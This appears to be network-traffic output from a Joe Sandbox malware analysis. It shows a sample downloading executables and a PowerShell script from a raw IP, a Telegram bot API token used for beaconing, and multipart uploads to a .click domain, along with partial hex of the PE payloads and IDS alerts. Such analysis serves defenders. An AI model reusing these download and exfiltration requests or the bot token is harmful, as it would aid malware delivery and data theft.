Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:10 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 00:05:52 GMTETag: "8e00-62a0cfe2cdd29"Accept-Ranges: bytesContent-Length: 36352Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 83 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 c0 00 00 00 06 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc a2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 44 22 00 00 68 80 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 05 00 a9 00 00 00 01 00 00 11 73 0f 00 00 0a 0a 73 10 00 00 0a 0b 07 28 11 00 00 0a 03 6f 12 00 00 0a 6f 13 00 00 0a 0c 06 08 6f 14 00 00 0a 06 17 6f 15 00 00 0a 06 18 6f 16 00 00 0a 1f 10 8d 1c 00 00 01 0d 02 16 09 16 09 8e 69 28 17 00 00 0a 06 09 6f 18 00 00 0a 02 8e 69 09 8e 69 59 8d 1c 00 00 01 13 04 02 09 8e 69 11 04 16 11 04 8e 69 28 17 00 00 0a 06 6f 19 00 00 0a 13 05 11 05 11 04 16 11 04 8e 69 6f 1a 00 00 0a 13 06 de 20 11 05 2c 07 11 05 6f 1b 00 00 0a dc 07 2c 06 07 6f 1b 00 00 0a dc 06 2c 06 06 6f 1b 00 00 0a dc 11 06 2a 00 00 00 01 28 00 00 02 00 74 00 12 86 00 0c 00 00 00 00 02 00 0c 00 86 92 00 0a 00 00 00 00 02 00 06 00 96 9c 00 0a 00 00 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 1c 00 00 0a 03 28 01 00 00 06 0a 28 11 00 00 0a 06 6f 1d 00 00 0a 2a 1e 02 28 1e 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 1f 00 00 0a 73 20 00 00 0a 0b 07 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Dec 2024 21:33:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 16:22:08 GMTETag: "4c000-62a1aa1957b5c"Accept-Ranges: bytesContent-Length: 311296Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d 04 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 09 04 00 00 10 00 00 00 0a 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bd 20 00 00 00 20 04 00 00 22 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 d6 00 00 00 50 04 00 00 54 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 3b 00 00 00 30 05 00 00 3c 00 00 00 84 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 147.45.44.131 147.45.44.131

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49757 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49752 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49750 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49751 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49759 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49765 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49763 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49766 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49761 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49769 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49770 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49772 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49775 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49774 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49773 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49762 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49776 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49755 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49764 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49767 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49771 -> 104.21.60.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49768 -> 104.21.60.24:443

Source: global traffic	HTTP traffic detected: POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 0Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 0Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 0Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 0Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K29GIXJ1E8TBCVOBTVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6G55XVIVJGCYD2KDH6PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8795Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K1R1QCQ80Y27RGQNZZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C9M7QTVU9XVV7VB4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1272Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L0O4KIZ8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18108Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CP7BM4U9RCKUZ8RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8771Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NK6VN6CQ4BZSATYGEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571134Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XMTXEG4X2SM0IQWLM8FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20448Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5Q02JBRDU7U42EAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1231Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6DGF095Y82K79M6XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18156Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FRHHII88EX2SEMY7YYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9KREDXIF8S0UJ1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571116Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K0RL857YU4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20394Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LO675W50User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1189Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=E8126BCFDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571086Host: fivenaii.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: fivenaii.click

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /infopage/pilgm.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/pilgm.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/pilgm.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
